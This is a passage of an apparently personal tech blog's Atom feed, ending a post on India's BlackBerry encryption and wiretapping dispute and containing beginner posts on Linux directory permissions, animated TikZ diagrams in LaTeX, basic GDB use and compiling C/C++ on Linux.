<a href="https://en.wikipedia.org/wiki/Diffie%e2%80%93Hellman_key_exchange?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">algorithms</a> where even the key can be established over the wiretapped channel
rendering the rest of communication encrypted, so even, after listening to initial communication,
it becomes impossible to decipher the rest.</li>
</ol>
<p><strong>What it actually means</strong> (in my opinion)
Given the track record of the government in wiretapping for   
    
    
<a href="https://www.outlookindia.com/article.aspx?265191&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">political purposes</a>. I see no reason, why the government is irked at un-interceptable phones.</p>
<h2 id="suggestions">Suggestions</h2>
<ol>
<li>It is being planned that a   
    
    
<a href="https://economictimes.indiatimes.com/infotech/hardware/BlackBerry-to-open-code-for-security-check/articleshow/6249666.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">similar restriction</a> will be put on Google(for Gmail) and Skype.
I believe even if the government is planning to do something of this sort, any announcement of this type defeats the [honest part of] intent.</li>
<li>Rather than going ahead with blind wire-tapping which will obviously fail as encrypted communication becomes more pervasive and the mammoth amount of data which is too much to be handled manually, so probably,   
    
    
<a href="https://en.wikipedia.org/wiki/National_Technical_Research_Organisation?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">NTRO</a> should try a newer approach (perhaps pattern-based identification of terrorists)</li>
</ol>
<p><strong>Note</strong>: This article is factually correct to the best of my knowledge.
I might be lacking understanding but not a will to understand, so in case, there is a factual mistake or a logical flaw, please do point that out in the comments.</p>
<p>References:</p>
<ol>
<li>  
    
    
<a href="https://futureoftheinternet.org/blackberry-22?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://futureoftheinternet.org/blackberry-22</a></li>
<li>  
    
    
<a href="https://www.schneier.com/blog/archives/2010/08/uae_to_ban_blac.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.schneier.com/blog/archives/2010/08/uae_to_ban_blac.html</a></li>
<li>  
    
    
<a href="https://cpj.org/blog/2010/08/why-governments-dont-need-to-crack-the-blackberry.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://cpj.org/blog/2010/08/why-governments-dont-need-to-crack-the-blackberry.php</a></li>
<li>  
    
    
<a href="https://economictimes.indiatimes.com/infotech/hardware/BlackBerry-to-open-code-for-security-check/articleshow/6249666.cms?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://economictimes.indiatimes.com/infotech/hardware/BlackBerry-to-open-code-for-security-check/articleshow/6249666.cms</a></li>
<li>  
    
    
<a href="https://online.wsj.com/article/SB10001424052748704271804575405403458659166.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://online.wsj.com/article/SB10001424052748704271804575405403458659166.html</a></li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange</a></li>
<li>  
    
    
<a href="https://www.outlookindia.com/article.aspx?265191&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">https://www.outlookindia.com/article.aspx?265191</a></li>
</ol>
]]></content><category scheme="https://ashishb.net/category/security" term="security" label="security"/><category scheme="https://ashishb.net/tag/blackberry" term="blackberry" label="blackberry"/><category scheme="https://ashishb.net/tag/encryption" term="encryption" label="encryption"/><category scheme="https://ashishb.net/tag/india" term="india" label="india"/><category scheme="https://ashishb.net/tag/politics" term="politics" label="politics"/><category scheme="https://ashishb.net/tag/security" term="security" label="security"/></entry><entry><title type="html">Understanding Directory Permissions on Linux</title><link href="https://ashishb.net/programming/understanding-directory-permissions-on-linux/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/programming-in-linux-for-newbies/?utm_source=atom_feed" rel="related" type="text/html" title="Programming in Linux for newbies"/><link href="https://ashishb.net/programming/how-to-compile-android-emulator-on-ubuntu-13-10/?utm_source=atom_feed" rel="related" type="text/html" title="How to compile android emulator on ubuntu 13.10"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/tech/foss-free-and-open-source-code-licensing-faq/?utm_source=atom_feed" rel="related" type="text/html" title="FOSS (Free and Open Source Code) Licensing FAQ"/><link href="https://ashishb.net/programming/animation-in-diagrams-presentations-in-latex/?utm_source=atom_feed" rel="related" type="text/html" title="Animation in diagrams (presentations in Latex)"/><id>https://ashishb.net/programming/understanding-directory-permissions-on-linux/</id><author><name>Ashish Bhatia</name></author><published>2010-07-11T07:12:47+00:00</published><updated>2010-07-11T07:12:47+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how directory file permissions work in Linux, including execute-only, read, and write+execute, and learn how they impact file access and management.</blockquote><p>This blog post is for those who understand how   
    
    
<a href="https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/file-permissions.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">file permissions</a> work but are looking for an explanation on how file permissions behave when they are applied to directories.</p>
<p><strong>Execute permission:</strong></p>
<p>given a filename(or dir name) which is directly under this directory, it can be translated into its inode number only if this permission is available. (In Layman&rsquo;s language, inode number&rsquo;s are needed to access a file&rsquo;s metadata and actual data on Linux). With an exec-only permission, a user can access a file/subdir only if he knows its complete name.</p>
<p><strong>Read permission:</strong></p>
<p>If this permission is available then one can see the names of the files/subdirs which are directly under this directory but cannot change these names. (but note that, without dir permission, one cannot still translate these names into inode numbers and hence, cannot reach the actual file/subdir)</p>
<p>Note: try making a dir read-without-exec and do &ldquo;ls dir&rdquo; and &ldquo;ls -l dir&rdquo; to see the difference. &ldquo;ls -l&rdquo; actually accesses the file info for which it needs access to its inode number and thus, it does not complete successfully unless exec permission on dir is available.</p>
<p><strong>Write+Execute permission:</strong></p>
<p>If this permission is available then one can add/remove a new file/subdir directly under this dir (even if the user does not own that file, it can still be changed/deleted, enable   
    
    
<a href="https://en.wikipedia.org/wiki/Sticky_bit?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">sticky bit</a> to prevent that)</p>
<p>Note:</p>
<ol>
<li>IMHO &ldquo;write only&rdquo; permission on dir is useless (if someone knows any use of it please do mention that in comments)</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/linux" term="linux" label="linux"/></entry><entry><title type="html">Animation in diagrams (presentations in Latex)</title><link href="https://ashishb.net/programming/animation-in-diagrams-presentations-in-latex/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/understanding-directory-permissions-on-linux/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Directory Permissions on Linux"/><link href="https://ashishb.net/programming/gdb/?utm_source=atom_feed" rel="related" type="text/html" title="Basic GDB Tutorial"/><link href="https://ashishb.net/programming/programming-in-linux-for-newbies/?utm_source=atom_feed" rel="related" type="text/html" title="Programming in Linux for newbies"/><link href="https://ashishb.net/programming/gcc-hacks/?utm_source=atom_feed" rel="related" type="text/html" title="GCC Hacks"/><link href="https://ashishb.net/programming/amazing-sandbox/?utm_source=atom_feed" rel="related" type="text/html" title="Introducing Amazing Sandbox - run third-party tools and AI agents securely on your machine"/><id>https://ashishb.net/programming/animation-in-diagrams-presentations-in-latex/</id><author><name>Ashish Bhatia</name></author><published>2010-06-18T08:08:37+00:00</published><updated>2010-06-18T08:08:37+00:00</updated><content type="html"><![CDATA[<blockquote>Create dynamic animations in LaTeX presentations with the TikZ package. Learn how to draw diagrams directly in LaTeX for seamless integration and engagement.</blockquote><p>While most people draw diagrams in Xfig (or GIMP) and include them in LaTeX, they can be drawn directly in LaTeX (using tikz package).
A major advantage of doing that is animation (\pause) is possible when using these diagrams in presentations(based on beamer)</p>
<p>Following is an example demonstrating that (code released under BSD license)</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Latex
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-latex" data-lang="latex"><span style="display:flex;"><span><span style="color:#719e07">\usepackage</span><span style="color:#b58900">{</span>tikz<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">\tikzstyle</span><span style="color:#b58900">{</span>ablock<span style="color:#b58900">}</span> = [ellipse, draw, thin, fill=blue!20, minimum height=2.5em]
</span></span><span style="display:flex;"><span><span style="color:#719e07">\begin</span><span style="color:#b58900">{</span>figure<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">\begin</span><span style="color:#b58900">{</span>tikzpicture<span style="color:#b58900">}</span>[node distance=3cm, auto,&gt;=latex&#39;, thick]
</span></span><span style="display:flex;"><span><span style="color:#586e75">% We need to set at bounding box first. Otherwise the diagram
</span></span></span><span style="display:flex;"><span><span style="color:#586e75">% will change position for each frame.
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span><span style="color:#719e07">\path</span>[use as bounding box] (-2,0) rectangle (5,-10);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;1-7&gt; node[ablock] (init) <span style="color:#b58900">{</span>Prefetch Request in MHT<span style="color:#b58900">}</span>;
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;2-8&gt; node[ablock, below of=init, xshift=5cm, yshift=1cm] (merged) <span style="color:#b58900">{</span>Delayed Prefetch<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span>(init) edge node <span style="color:#b58900">{</span>demand request by LSU<span style="color:#b58900">}</span> (merged);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;3-7&gt; node[ablock, below of=init, xshift=-2cm, yshift=1cm] (fetched) <span style="color:#b58900">{</span>Fetched in Dcache<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span>(init) edge node <span style="color:#b58900">{}</span> (fetched);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;4-7&gt; node[ablock, below of=fetched, xshift=-1cm, yshift=1cm] (useless) <span style="color:#b58900">{</span>Useless Prefetch<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span>(fetched) edge node <span style="color:#b58900">{</span>Evicted<span style="color:#b58900">}</span> (useless);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;5-7&gt; node[ablock, below of=fetched, xshift=3cm, yshift=1cm] (useful) <span style="color:#b58900">{</span>Useful Prefetch<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span>(fetched) edge node <span style="color:#b58900">{</span>Requested by LSU<span style="color:#b58900">}</span> (useful);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;6-8&gt; node[ablock, below of=useful, xshift=5cm, yshift=1cm] (early) <span style="color:#b58900">{</span>Early Prefetch<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span>(useful) edge node <span style="color:#b58900">{</span>Accessed after a long time<span style="color:#b58900">}</span> (early);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\path</span>[-&gt;]&lt;7-7&gt; node[ablock, below of=useful, xshift=0cm, yshift=1cm] (timely) <span style="color:#b58900">{</span>Timely Prefetch<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span>(useful) edge node <span style="color:#b58900">{</span>Accessed within reasonable time<span style="color:#b58900">}</span> (timely);
</span></span><span style="display:flex;"><span><span style="color:#719e07">\end</span><span style="color:#b58900">{</span>tikzpicture<span style="color:#b58900">}</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">\end</span><span style="color:#b58900">{</span>figure<span style="color:#b58900">}</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div>]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/diagrams" term="diagrams" label="diagrams"/><category scheme="https://ashishb.net/tag/latex" term="latex" label="latex"/><category scheme="https://ashishb.net/tag/tikz" term="tikz" label="tikz"/></entry><entry><title type="html">Basic GDB Tutorial</title><link href="https://ashishb.net/programming/gdb/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/gcc-hacks/?utm_source=atom_feed" rel="related" type="text/html" title="GCC Hacks"/><link href="https://ashishb.net/programming/android-stale-views/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Don't use stale views"/><link href="https://ashishb.net/programming/how-many-source-code-repositories-should-a-startup-have/?utm_source=atom_feed" rel="related" type="text/html" title="How many source-code repositories should a startup have"/><link href="https://ashishb.net/programming/consoles-by-google/?utm_source=atom_feed" rel="related" type="text/html" title="Consoles by Google"/><link href="https://ashishb.net/programming/file-size-should-always-be-of-long-type/?utm_source=atom_feed" rel="related" type="text/html" title='File size should always be of "long" type'/><id>https://ashishb.net/programming/gdb/</id><author><name>Ashish Bhatia</name></author><published>2010-05-31T18:57:40+00:00</published><updated>2010-05-31T18:57:40+00:00</updated><content type="html"><![CDATA[<blockquote>Learn to debug C/C++ code effectively with this beginner&rsquo;s guide to using GDB. Discover easy steps to identify and fix bugs, improving your code&rsquo;s stability.</blockquote><p>So, you believe there are bugs in your C/C++ code or you have encountered SEGFAULT while executing your code. What will you do?</p>
<ol>
<li>write a lot of printf statements at various places in your code under suspicion
OR</li>
<li>use gdb (GNU code debugger)</li>
</ol>
<p>This article is about Approach 2</p>
<p>Disclaimer: This article is just a basic gdb tutorial and is nowhere meant to be comprehensive.</p>
<h3 id="using-gdb">Using GDB</h3>
<ol>
<li>Compile code using -ggdb switch <em>For example, g++ -ggdb -o hellowworld helloworld.cc</em></li>
<li>Run your code under gdb using <em>gdb helloworld</em></li>
<li>Set a breakpoint at the location where you suspect the problem to be. For example, if you suspect the problem could be at line 12 then set breakpoint at line 12 using <em>break 12</em> likewise, you can set a breakpoint at the function also. For example, <em>break main</em> will stop the code execution as soon as the main function is called.</li>
<li>now run the code using <em>run</em></li>
<li>If the program crashes then set the breakpoint at a different [much earlier] location.</li>
<li>Now the code has stopped the execution, you can continue step-by-step execution using a <em>step</em> or you can continue the execution continuously using <em>continue</em> or you can print the values of various variables at this stage using <em>print var_name</em></li>
<li>To find the stack trace use <em>backtrace</em></li>
<li>use <em>quit</em> to exit gdb [and <em>stop</em> to stop a program that is still under execution]</li>
</ol>
<p>Happy code debugging</p>
<h3 id="reference">Reference</h3>
<ol>
<li>GDB Man page</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/programming" term="programming" label="programming"/></entry><entry><title type="html">Programming in Linux for newbies</title><link href="https://ashishb.net/programming/programming-in-linux-for-newbies/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/understanding-directory-permissions-on-linux/?utm_source=atom_feed" rel="related" type="text/html" title="Understanding Directory Permissions on Linux"/><link href="https://ashishb.net/programming/how-to-compile-android-emulator-on-ubuntu-13-10/?utm_source=atom_feed" rel="related" type="text/html" title="How to compile android emulator on ubuntu 13.10"/><link href="https://ashishb.net/tech/how-indian-govt-deals-with-technology/?utm_source=atom_feed" rel="related" type="text/html" title="How Indian Government deals with Technology"/><link href="https://ashishb.net/tech/foss-free-and-open-source-code-licensing-faq/?utm_source=atom_feed" rel="related" type="text/html" title="FOSS (Free and Open Source Code) Licensing FAQ"/><link href="https://ashishb.net/programming/animation-in-diagrams-presentations-in-latex/?utm_source=atom_feed" rel="related" type="text/html" title="Animation in diagrams (presentations in Latex)"/><id>https://ashishb.net/programming/programming-in-linux-for-newbies/</id><author><name>Ashish Bhatia</name></author><published>2010-05-31T18:48:47+00:00</published><updated>2010-05-31T18:48:47+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the essentials of programming on Linux for Windows C/C++ users. Learn coding, compiling, and executing on Linux with this practical beginner&rsquo;s guide!</blockquote><p>This is meant to be a small guide (though not exhaustive) for students beginning to program on Linux system. Particularly for those, who have done extensive C/C++ programming in Windows, using the Borland/Turbo interface or the Visual C++ interface, and are greatly intimidated by the Linux platform.</p>
<h3 id="there-are-three-major-steps-to-program-in-linux">There are three major steps to program in linux</h3>
<p>(assuming that you have thought of the algorithm you wish to implement)</p>
<ol>
<li>
<p><strong>Coding the solution</strong>
In windows, we have borland/turbo/Visual c++ IDE where we code, compile
and execute our code in a single interface. In linux, these three steps
are preformed separately (there are editors which allow you to do that
but it is better to avoid them till one has gained enough familiarity
with linux)
I feel the best editor to write your code as a newbie is kate (type
&ldquo;kate &amp;&rdquo; (without quotes) on the  shell prompt.
kate is quite similar to editplus editor available on windows.
Later on, one should move to a more powerful editor like vi or emacs (I
personally prefer vi and nice tutor for vi can be accessed by tyoing
vimtutor on shell prompt)</p>
</li>
<li>
<p><strong>Compiling the code</strong> To compile the code, again go to shell prompt ( <em>Yes, on linux you will soon get use to shell prompt for almost every task</em>)
and execute the command
gcc <em>progfilename</em> eg. gcc helloworld.c
or g++ <em>progfilename</em>
Note: gcc is C compiler for Linux (written by GNU) and g++ is C++ compiler for linux (written by GNU)
In case there is no output =&gt; your code compiled successfully</p>
<p>In case there is an output =&gt; you will see the output is readable, it tells you which lines of your code has errors/warnings.</p>
</li>
<li>
<p><strong>Executing the code</strong>
Assuming that your code compiled successfully, a file named &ldquo;a.out&rdquo; is
created in the same directory in which you gave the compilation command.
Now execute the command &ldquo;./a.out&rdquo; (without quotes) to execute your program
Note: In case you compile your code using -o switch you can decide the name of output file which by default, is a.out
for example, gcc helloworld.c -o helloworld.out
g++ helloworld.cpp -o helloworld.out</p>
</li>
</ol>
<h3 id="which-libraries-are-supported-by-gccg">Which libraries are supported by gcc/g++</h3>
<p>gcc/g++ support almost all the libraries of borland C/C++ with one main
exception : <strong>It does not support conio.h library</strong>. Therefore, <strong>please do</strong>
<strong>not include conio.h in your source file</strong>.</p>
<p>When compiling C++ source files, if you happen to use the iostream.h
header library, you may get to see some ugly warning messages by the
compiler. The program will compile fine, but if you want to get rid of
the warning messages, you can include your files in the following
manner :</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Cpp
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#719e07">#include</span> <span style="color:#719e07">&lt;iostream&gt;</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07"></span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">#include</span> <span style="color:#719e07">&lt;stdlib.h&gt;</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07"></span><span style="color:#586e75">//... Other include statements here
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span><span style="color:#719e07">using</span> <span style="color:#719e07">namespace</span> std;
</span></span><span style="display:flex;"><span><span style="color:#586e75">//this will come only in the end
</span></span></span><span style="display:flex;"><span><span style="color:#586e75"></span>
</span></span><span style="display:flex;"><span>instead of just
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">#include</span> <span style="color:#719e07">&lt;iostream.h&gt;</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#include</span> <span style="color:#719e07">&lt;stdlib.h&gt;</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07"></span>
</span></span><span style="display:flex;"><span>....</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Page updated by Ashish Bhatia (Y5 batch prog club coordinator) on Feb 29, 2008
Page originally written by : Shashi Mittal(Y2 batch prog club coordinator)</p>
